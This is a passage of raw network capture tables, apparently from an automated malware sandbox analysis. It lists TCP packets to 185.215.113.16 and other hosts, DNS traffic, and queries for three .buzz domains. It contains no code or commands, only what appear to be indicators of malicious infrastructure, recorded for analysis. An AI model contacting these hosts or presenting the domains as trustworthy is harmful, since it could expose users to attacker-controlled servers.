Dec 28, 2024 10:03:40.468118906 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.468130112 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.468204975 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468910933 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468938112 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468954086 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.468976021 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.469007969 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.469145060 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.469844103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.469886065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.469901085 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.469934940 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.469958067 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.469969034 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.470649004 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.470676899 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.470691919 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.470700979 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.470729113 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.470801115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.471488953 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.471559048 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.471575022 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.471609116 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.471632957 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.471642017 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.472361088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.472407103 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.472415924 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.472424030 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.472465038 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.472505093 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.473222971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.473267078 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.473277092 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.473294020 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.473364115 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.473381996 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.474071980 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474124908 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.474134922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474152088 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474239111 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474256992 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.474941969 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474994898 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.474997044 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.475012064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475074053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475116014 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.475791931 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475837946 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475852966 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.475853920 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475925922 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.475975990 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.476686954 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.476756096 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.476772070 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.476808071 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.476824999 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.476830006 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.477513075 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.477564096 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.477565050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.477581978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.477626085 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.477709055 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.478383064 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.478435040 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.478437901 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.478455067 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.478504896 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.478532076 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.479274988 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.479343891 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.479356050 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.479372978 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.479430914 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.479449987 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.480108976 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.480154037 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.480180025 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.480196953 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.480243921 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.480295897 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481009960 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481026888 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481071949 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481085062 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.481116056 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.481122971 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481825113 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.481882095 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.481914997 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.528292894 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.626795053 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.626925945 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.626944065 CET	80	49766	185.215.113.16	192.168.2.6
Dec 28, 2024 10:03:40.626987934 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:40.668934107 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:49.729511976 CET	49766	80	192.168.2.6	185.215.113.16
Dec 28, 2024 10:03:51.108609915 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:51.108647108 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:51.108714104 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:51.108947039 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:51.108958960 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.897908926 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.898168087 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:52.898192883 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.899276972 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.899333954 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:52.900347948 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:52.900419950 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.946432114 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:52.946450949 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:03:52.966819048 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:52.966866970 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:52.966954947 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:52.967580080 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:52.967592955 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:52.993927002 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:03:54.779614925 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:54.779643059 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:54.779779911 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:54.780626059 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:54.780641079 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.159962893 CET	80	49703	217.20.58.99	192.168.2.6
Dec 28, 2024 10:03:55.160073996 CET	49703	80	192.168.2.6	217.20.58.99
Dec 28, 2024 10:03:55.160168886 CET	49703	80	192.168.2.6	217.20.58.99
Dec 28, 2024 10:03:55.235861063 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.235934973 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.238035917 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.238044977 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.238372087 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.239732981 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.239787102 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.239793062 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.239895105 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.279573917 CET	80	49703	217.20.58.99	192.168.2.6
Dec 28, 2024 10:03:55.283340931 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.794747114 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.794847012 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:55.794893026 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.795238972 CET	49823	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:55.795257092 CET	443	49823	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.115042925 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.115155935 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.117290974 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.117300034 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.118091106 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.119743109 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.119806051 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.119811058 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.119995117 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.163326025 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.800425053 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.800528049 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:03:57.800623894 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.800798893 CET	49834	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:03:57.800810099 CET	443	49834	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:02.663192987 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:02.663258076 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:02.663317919 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:02.712826014 CET	49816	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:02.712866068 CET	443	49816	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:15.068401098 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:15.068438053 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:15.068531036 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:15.077862978 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:15.077878952 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:16.236743927 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:16.236810923 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:16.236910105 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:16.237472057 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:16.237484932 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:17.546231031 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:17.546330929 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:17.549859047 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:17.549869061 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:17.550156116 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:17.551569939 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:17.551640034 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:17.551645994 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:17.551714897 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:17.599333048 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.103779078 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.103874922 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.103976965 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.104119062 CET	49960	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.104137897 CET	443	49960	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.450901031 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.451023102 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.452928066 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.452941895 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.453197002 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.454979897 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.455041885 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.455046892 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:18.455193043 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:18.495333910 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:19.116326094 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:19.116463900 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:19.116518974 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:19.116631985 CET	49966	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:19.116651058 CET	443	49966	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:40.728811026 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:40.728852987 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:40.728918076 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:40.741216898 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:40.741234064 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:41.943039894 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:41.943109035 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:41.943188906 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:41.943744898 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:41.943759918 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:41.997447014 CET	49701	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:04:42.118900061 CET	443	49701	20.190.177.146	192.168.2.6
Dec 28, 2024 10:04:42.119064093 CET	49701	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:04:43.008722067 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.008800030 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.010158062 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.010174036 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.010540962 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.011502981 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.011544943 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.011557102 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.011626959 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.059349060 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.683871031 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.683995962 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:43.684076071 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.684644938 CET	50023	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:43.684662104 CET	443	50023	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:44.333265066 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:44.333364964 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:44.335144043 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:44.335155010 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:44.335958004 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:44.337825060 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:44.337886095 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:44.337892056 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:44.338016987 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:44.383327007 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:45.018697977 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:45.018943071 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:45.019015074 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:45.019273043 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:45.019294977 CET	443	50027	20.198.119.84	192.168.2.6
Dec 28, 2024 10:04:45.019308090 CET	50027	443	192.168.2.6	20.198.119.84
Dec 28, 2024 10:04:48.485486031 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:04:48.605457067 CET	443	49706	20.190.177.146	192.168.2.6
Dec 28, 2024 10:04:48.605516911 CET	49706	443	192.168.2.6	20.190.177.146
Dec 28, 2024 10:04:51.028115988 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:51.028162003 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:51.028249979 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:51.028492928 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:51.028503895 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:52.812786102 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:52.816834927 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:52.816873074 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:52.817249060 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:52.817562103 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:04:52.817656994 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:04:52.870127916 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:05:02.535856962 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:05:02.535934925 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:05:02.535991907 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:05:03.685614109 CET	50049	443	192.168.2.6	172.217.21.36
Dec 28, 2024 10:05:03.685642004 CET	443	50049	172.217.21.36	192.168.2.6
Dec 28, 2024 10:05:08.300055981 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:08.300092936 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:08.300173998 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:08.301242113 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:08.301250935 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:10.572112083 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:10.572207928 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:10.573992014 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:10.574001074 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:10.574260950 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:10.575913906 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:10.575965881 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:10.575970888 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:10.576092005 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:10.623323917 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:11.246583939 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:11.246752977 CET	443	50085	20.198.118.190	192.168.2.6
Dec 28, 2024 10:05:11.246845007 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:11.246965885 CET	50085	443	192.168.2.6	20.198.118.190
Dec 28, 2024 10:05:11.246978998 CET	443	50085	20.198.118.190	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 28, 2024 10:03:07.052685022 CET	51491	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.194688082 CET	53	51491	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.202290058 CET	58534	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.341612101 CET	53	58534	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.343322992 CET	60933	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.482866049 CET	53	60933	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.504941940 CET	49572	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.644172907 CET	53	49572	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.668687105 CET	53802	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.808950901 CET	53	53802	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.812155008 CET	53629	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:07.952402115 CET	53	53629	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:07.958231926 CET	60339	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:08.097179890 CET	53	60339	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:08.100368023 CET	54304	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:08.241200924 CET	53	54304	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:08.244225025 CET	60531	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:08.384860039 CET	53	60531	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:08.386573076 CET	52540	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:08.542898893 CET	53	52540	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:11.372688055 CET	56599	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:11.515213966 CET	53	56599	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:46.803329945 CET	53	64825	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:46.823908091 CET	53	57463	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:50.050043106 CET	53	61003	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:50.966572046 CET	64572	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:50.966733932 CET	61370	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:51.105803967 CET	53	61370	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:51.107778072 CET	53	64572	1.1.1.1	192.168.2.6
Dec 28, 2024 10:03:54.360043049 CET	53057	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:54.360301018 CET	59876	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:57.585103989 CET	54522	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:03:57.585285902 CET	56379	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:04:02.916251898 CET	53	64143	1.1.1.1	192.168.2.6
Dec 28, 2024 10:04:04.707165003 CET	49665	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:04:04.707324982 CET	50598	53	192.168.2.6	1.1.1.1
Dec 28, 2024 10:04:07.544313908 CET	53	52400	1.1.1.1	192.168.2.6
Dec 28, 2024 10:04:26.103180885 CET	53	62870	1.1.1.1	192.168.2.6
Dec 28, 2024 10:04:46.433702946 CET	53	59565	1.1.1.1	192.168.2.6
Dec 28, 2024 10:04:48.448097944 CET	53	51087	1.1.1.1	192.168.2.6

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 28, 2024 10:03:54.783071041 CET	192.168.2.6	1.1.1.1	c2c3	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 28, 2024 10:03:07.052685022 CET	192.168.2.6	1.1.1.1	0x40a0	Standard query (0)	mindhandru.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.202290058 CET	192.168.2.6	1.1.1.1	0x7a5a	Standard query (0)	prisonyfork.buzz	A (IP address)	IN (0x0001)	false
Dec 28, 2024 10:03:07.343322992 CET	192.168.2.6	1.1.1.1	0xc7cd	Standard query (0)	rebuildeso.buzz	A (IP address)	IN (0x0001)	false
